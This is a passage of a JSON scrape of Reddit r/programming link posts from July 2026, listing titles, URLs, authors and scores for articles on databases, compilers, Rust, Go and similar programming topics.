    "url": "https://github.com/openjdk/jdk/commit/cc278dbb8a1ca0754d5842708b9029441055d361",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbmxpb",
  "url": "https://youtu.be/4vjSz108YdA?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbmxpb/developer_productivity_at_a_developer/",
  "title": "Developer Productivity at a Developer Productivity Startup • Robert-Jan \"RJ\" Huijsman",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 2,
  "createdAt": "2026-07-31T10:19:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/4vjSz108YdA?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbj7yl",
  "url": "https://fagnerbrack.com/the-paradox-of-fancy-tooling-b9af429789da",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbj7yl/the_paradox_of_fancy_tooling/",
  "title": "The Paradox of Fancy Tooling",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 15,
  "createdAt": "2026-07-31T06:49:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/the-paradox-of-fancy-tooling-b9af429789da",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vb8u5y",
  "url": "https://peterdohertys.website/blog-posts/the-mystery-on-duck-lake.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vb8u5y/the_mystery_on_ducklake_a_timetravelling_whodunit/",
  "title": "The Mystery on DuckLake: A Time-Travelling Whodunit Story",
  "body": null,
  "author": "pdoherty926",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.62,
  "numComments": 0,
  "createdAt": "2026-07-30T22:46:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://peterdohertys.website/blog-posts/the-mystery-on-duck-lake.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vb18kc",
  "url": "https://farnoy.dev/posts/manual-reification-on-the-jvm",
  "permalink": "https://www.reddit.com/r/programming/comments/1vb18kc/manual_reification_on_the_jvm/",
  "title": "Manual reification on the JVM",
  "body": null,
  "author": "farnoy",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.93,
  "numComments": 0,
  "createdAt": "2026-07-30T18:03:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://farnoy.dev/posts/manual-reification-on-the-jvm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vayhxm",
  "url": "https://github.blog/changelog/2026-07-30-stacked-pull-requests-are-now-in-public-preview/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vayhxm/stacked_pull_requests_are_now_in_public_preview/",
  "title": "Stacked pull requests are now in public preview - GitHub Changelog",
  "body": null,
  "author": "tomzorzhu",
  "subreddit": "programming",
  "score": 586,
  "upvoteRatio": 0.96,
  "numComments": 269,
  "createdAt": "2026-07-30T16:27:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/changelog/2026-07-30-stacked-pull-requests-are-now-in-public-preview/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vax1q4",
  "url": "https://leetarxiv.substack.com/p/twists-of-elliptic-curves",
  "permalink": "https://www.reddit.com/r/programming/comments/1vax1q4/what_every_programmer_should_know_about_twists_of/",
  "title": "What Every Programmer Should Know About Twists of Elliptic Curves",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 69,
  "upvoteRatio": 0.7,
  "numComments": 63,
  "createdAt": "2026-07-30T15:35:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/twists-of-elliptic-curves",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vawlwy",
  "url": "https://www.crunchydata.com/blog/hybrid-vector-search",
  "permalink": "https://www.reddit.com/r/programming/comments/1vawlwy/hybrid_search_patterns_with_postgres_and_pgvector/",
  "title": "Hybrid Search Patterns with Postgres and pgvector",
  "body": "Yesterday, pgvector released 0.8.6!\n\nSo today, we wrote about some useful patterns for queries combining pgvector indexes with regular 'ole scaler filters. Spoiler: iterative index scans launched in pgvector 0.8 make it easy (with some tradeoffs).",
  "author": "winsletts",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.93,
  "numComments": 4,
  "createdAt": "2026-07-30T15:19:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.crunchydata.com/blog/hybrid-vector-search",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vagopa",
  "url": "https://www.youtube.com/watch?v=W7Ki3aXgmZU",
  "permalink": "https://www.reddit.com/r/programming/comments/1vagopa/put_state_in_the_right_place_delaney_gillilan_ssw/",
  "title": "Put State in the Right Place - Delaney Gillilan | SSW 2026",
  "body": "the video is about a hypermedia framework called [Datastar](https://data-star.dev/) that i've been finding fairly interesting.",
  "author": "teapotrick",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.81,
  "numComments": 7,
  "createdAt": "2026-07-30T02:23:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=W7Ki3aXgmZU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1va8q6g",
  "url": "https://zolstein.substack.com/p/pgxcollectrows-nice-apis-dont-have",
  "permalink": "https://www.reddit.com/r/programming/comments/1va8q6g/pgxcollectrows_nice_apis_dont_have_to_be_slow/",
  "title": "pgx.CollectRows: Nice APIs Don't Have To Be Slow",
  "body": null,
  "author": "raserei0408",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 3,
  "createdAt": "2026-07-29T20:53:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zolstein.substack.com/p/pgxcollectrows-nice-apis-dont-have",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1va50mi",
  "url": "https://blog.nassella.org/how-i-made-servers-invincible-to-hangs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1va50mi/how_i_made_selfhosted_servers_recoverable_from/",
  "title": "How I Made Self-Hosted Servers Recoverable From Hangs",
  "body": null,
  "author": "thecombjelly",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.74,
  "numComments": 0,
  "createdAt": "2026-07-29T18:41:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.nassella.org/how-i-made-servers-invincible-to-hangs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1va4k7a",
  "url": "https://www.architecture-weekly.com/p/fixing-bugs-in-event-sourcing-is",
  "permalink": "https://www.reddit.com/r/programming/comments/1va4k7a/fixing_bugs_in_event_sourcing_is_hard_for_real/",
  "title": "Fixing bugs in Event Sourcing is hard, for real?",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 158,
  "upvoteRatio": 0.93,
  "numComments": 35,
  "createdAt": "2026-07-29T18:25:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/fixing-bugs-in-event-sourcing-is",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1va0fx1",
  "url": "https://bitrise.io/blog/post/how-build-cache-for-react-native-works-caching-the-cpp-your-ci-keeps-recompiling",
  "permalink": "https://www.reddit.com/r/programming/comments/1va0fx1/how_cache_for_react_native_works_caching_the_c/",
  "title": "How cache for React Native works: caching the C++ your CI keeps recompiling",
  "body": null,
  "author": "Patient-Pollution46",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-07-29T16:02:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bitrise.io/blog/post/how-build-cache-for-react-native-works-caching-the-cpp-your-ci-keeps-recompiling",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9vec3",
  "url": "https://www.chiply.dev/post-hyperbole-implicit-buttons",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9vec3/hyperbole_implicit_buttons_build_your_hyperverse/",
  "title": "Hyperbole Implicit Buttons: Build your Hyperverse",
  "body": "This is a post on a Bob Weiner's Hyperbole package, and what makes it's flexible hypertext concepts so special in Emacs. ",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2026-07-29T12:55:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-hyperbole-implicit-buttons",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9u4qb",
  "url": "https://jola.dev/posts/distributed-ratelimiter-with-hrw",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9u4qb/distributed_rate_limiter_with_hrw_in_elixir/",
  "title": "Distributed rate limiter with HRW in Elixir",
  "body": null,
  "author": "joladev",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-07-29T11:59:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jola.dev/posts/distributed-ratelimiter-with-hrw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9r162",
  "url": "https://micrologics.org/blog/sqlite-in-production-optimizing-wal-mode-concurrency-and-vfs-layers-for-low-latency-app-servers",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9r162/sqlite_in_production_optimizing_wal_mode/",
  "title": "SQLite in Production: Optimizing WAL Mode, Concurrency, and VFS Layers for Low-Latency App Servers",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.86,
  "numComments": 0,
  "createdAt": "2026-07-29T09:22:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://micrologics.org/blog/sqlite-in-production-optimizing-wal-mode-concurrency-and-vfs-layers-for-low-latency-app-servers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9qh6x",
  "url": "https://www.youtube.com/watch?v=t74ClffSUW0",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9qh6x/the_untold_story_of_log4j_and_log4shell_with/",
  "title": "The Untold Story of Log4j and Log4Shell, with Christian Grobmeier",
  "body": null,
  "author": "brunocborges",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 11,
  "createdAt": "2026-07-29T08:51:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=t74ClffSUW0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9o8g3",
  "url": "https://bkaradzic.github.io/posts/scanner/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9o8g3/parsers_dont_have_to_be_complicated/",
  "title": "Parsers don’t have to be complicated",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 4,
  "createdAt": "2026-07-29T06:44:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bkaradzic.github.io/posts/scanner/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9lgdk",
  "url": "https://unplannedobsolescence.com/blog/buttons-vs-links/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9lgdk/the_difference_between_a_button_and_a_link/",
  "title": "The Difference Between a Button and a Link",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 166,
  "upvoteRatio": 0.89,
  "numComments": 51,
  "createdAt": "2026-07-29T04:20:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://unplannedobsolescence.com/blog/buttons-vs-links/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v9adp0",
  "url": "https://fortypoundhead.com/showcontent.asp?artid=52083",
  "permalink": "https://www.reddit.com/r/programming/comments/1v9adp0/five_languages_one_pyramid_zero_practical_value/",
  "title": "Five Languages, One Pyramid, Zero Practical Value",
  "body": null,
  "author": "Refresh98370",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 6,
  "createdAt": "2026-07-28T20:35:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fortypoundhead.com/showcontent.asp?artid=52083",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v94mgb",
  "url": "https://www.youtube.com/watch?v=U0kAwjFuxoo",
  "permalink": "https://www.reddit.com/r/programming/comments/1v94mgb/the_elevator_glitch_how_one_function_destroyed/",
  "title": "The Elevator Glitch: How One Function Destroyed Public Lobbies in CoD4",
  "body": "Walk with me inside one of the most influential game's code and discover the secret of elevators!  \n  \nTurns out the bug comes down to a single line buried in the engine's collision code. Went through the decompiled source (thanks to KisakCOD) and traced the whole thing back.\n\nLet me know your thoughts! ✨",
  "author": "Rex109",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.89,
  "numComments": 5,
  "createdAt": "2026-07-28T17:10:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=U0kAwjFuxoo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v93h07",
  "url": "https://mlugg.co.uk/posts/incremental-compilation-internals/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v93h07/inside_zigs_incremental_compilation/",
  "title": "Inside Zig's Incremental Compilation",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 86,
  "upvoteRatio": 0.9,
  "numComments": 4,
  "createdAt": "2026-07-28T16:29:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mlugg.co.uk/posts/incremental-compilation-internals/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v90z1b",
  "url": "https://refp.se/articles/your-shell-and-the-magic-colon",
  "permalink": "https://www.reddit.com/r/programming/comments/1v90z1b/a_shell_colon_does_nothing_use_it_anyway_filip/",
  "title": "A shell colon does nothing. Use it anyway. | Filip Roséen",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 299,
  "upvoteRatio": 0.9,
  "numComments": 222,
  "createdAt": "2026-07-28T14:59:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://refp.se/articles/your-shell-and-the-magic-colon",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v90kmd",
  "url": "https://antithesis.com/blog/2026/finding-bugs-in-raft-implementations/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v90kmd/finding_bugs_in_raft_implementations/",
  "title": "Finding bugs in Raft implementations",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.8,
  "numComments": 0,
  "createdAt": "2026-07-28T14:45:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://antithesis.com/blog/2026/finding-bugs-in-raft-implementations/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v8ynjn",
  "url": "https://youtu.be/E82ly38YEEQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1v8ynjn/dependency_cultures_richard_feldman/",
  "title": "Dependency Cultures - Richard Feldman",
  "body": "Excellent talk by Richard Feldman about how different programming communities approach dependencies.",
  "author": "isaacvando",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.85,
  "numComments": 39,
  "createdAt": "2026-07-28T13:33:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/E82ly38YEEQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v8r302",
  "url": "https://theconsensus.dev/p/2026/07/19/observing-gos-garbage-collector-old-and-new.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1v8r302/watching_gos_new_garbage_collector_move_through/",
  "title": "Watching Go's new garbage collector move through the heap",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.88,
  "numComments": 0,
  "createdAt": "2026-07-28T07:26:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://theconsensus.dev/p/2026/07/19/observing-gos-garbage-collector-old-and-new.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v8ojyf",
  "url": "https://www.theregister.com/devops/2026/07/27/microsoft-lays-out-a-buffet-of-windows-goodies-for-javascript-developers/5279244",
  "permalink": "https://www.reddit.com/r/programming/comments/1v8ojyf/microsoft_lays_out_a_buffet_of_windows_goodies/",
  "title": "Microsoft lays out a buffet of Windows goodies for JavaScript Developers",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 4,
  "createdAt": "2026-07-28T05:11:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/devops/2026/07/27/microsoft-lays-out-a-buffet-of-windows-goodies-for-javascript-developers/5279244",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v8dy8c",
  "url": "https://leetarxiv.substack.com/p/pollards-p-1-factoring-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1v8dy8c/pollards_p1_factoring_algorithm_in_plain_c/",
  "title": "Pollard's P-1 Factoring Algorithm in Plain C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.68,
  "numComments": 5,
  "createdAt": "2026-07-27T21:31:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/pollards-p-1-factoring-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v85isn",
  "url": "https://luau.org/performance/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v85isn/how_we_make_luau_fast/",
  "title": "How we make Luau fast",
  "body": null,
  "author": "_Sharp_",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.81,
  "numComments": 4,
  "createdAt": "2026-07-27T16:34:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://luau.org/performance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v83ukz",
  "url": "https://blog.jaysmito.dev/blog/04-fast-lockfree-queues/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v83ukz/building_a_fast_lockfree_queue_in_modern_c_from/",
  "title": "Building a Fast Lock-Free Queue in Modern C++ From Scratch",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 67,
  "upvoteRatio": 0.86,
  "numComments": 7,
  "createdAt": "2026-07-27T15:35:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jaysmito.dev/blog/04-fast-lockfree-queues/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v80d8d",
  "url": "https://rushter.com/blog/rust-memory-arenas/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v80d8d/writing_arenas_in_rust_from_scratch/",
  "title": "Writing arenas in Rust from scratch",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.84,
  "numComments": 28,
  "createdAt": "2026-07-27T13:25:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/rust-memory-arenas/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v7yygj",
  "url": "https://leetarxiv.substack.com/p/approximating-softmax-for-fpgas",
  "permalink": "https://www.reddit.com/r/programming/comments/1v7yygj/approximating_softmax_for_fpgas_with_taylor/",
  "title": "Approximating Softmax for FPGAs with Taylor Series and Pade Approximants in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.69,
  "numComments": 8,
  "createdAt": "2026-07-27T12:27:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/approximating-softmax-for-fpgas",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v7tjg5",
  "url": "https://cassidoo.co/post/clustering-tiles/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v7tjg5/a_simple_clustering_algorithm_for_lists/",
  "title": "A simple clustering algorithm for lists",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.75,
  "numComments": 15,
  "createdAt": "2026-07-27T07:37:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cassidoo.co/post/clustering-tiles/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v77rya",
  "url": "https://www.youtube.com/watch?v=0i0IclVAqG8",
  "permalink": "https://www.reddit.com/r/programming/comments/1v77rya/using_the_coderabbit_preview_on_a_go_codebase/",
  "title": "Using the CodeRabbit Preview on a Go codebase",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.17,
  "numComments": 1,
  "createdAt": "2026-07-26T15:57:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=0i0IclVAqG8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v6xuqc",
  "url": "https://deniskyashif.com/2026/07/25/modeling-facts-and-reactions-with-domain-events/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v6xuqc/modeling_facts_and_reactions_with_domain_events/",
  "title": "Modeling Facts and Reactions with Domain Events",
  "body": null,
  "author": "deniskyashif",
  "subreddit": "programming",
  "score": 81,
  "upvoteRatio": 0.88,
  "numComments": 10,
  "createdAt": "2026-07-26T08:21:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deniskyashif.com/2026/07/25/modeling-facts-and-reactions-with-domain-events/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v6ijz9",
  "url": "https://blog.getutm.app/2026/introducing-triton-directx-11-driver-for-qemu/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v6ijz9/introducing_triton_directx_11_driver_for_qemu/",
  "title": "Introducing Triton: DirectX 11 driver for QEMU",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 179,
  "upvoteRatio": 0.96,
  "numComments": 16,
  "createdAt": "2026-07-25T20:09:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.getutm.app/2026/introducing-triton-directx-11-driver-for-qemu/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v6bcof",
  "url": "https://github.com/alexpusch/rust-magic-patterns/blob/master/delightful-integration-tests/Readme.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1v6bcof/delightful_integration_tests_in_rust/",
  "title": "Delightful integration tests in Rust",
  "body": null,
  "author": "AlphaX",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 3,
  "createdAt": "2026-07-25T15:29:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/alexpusch/rust-magic-patterns/blob/master/delightful-integration-tests/Readme.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v68yb8",
  "url": "https://labs.iximiuz.com/tutorials/c-program-without-main-a1eea557",
  "permalink": "https://www.reddit.com/r/programming/comments/1v68yb8/writing_a_valid_c_program_without_main/",
  "title": "Writing a (valid) C program without main()",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 193,
  "upvoteRatio": 0.85,
  "numComments": 43,
  "createdAt": "2026-07-25T13:50:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/c-program-without-main-a1eea557",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v67ohp",
  "url": "https://youtu.be/_JGMgpyCTsY",
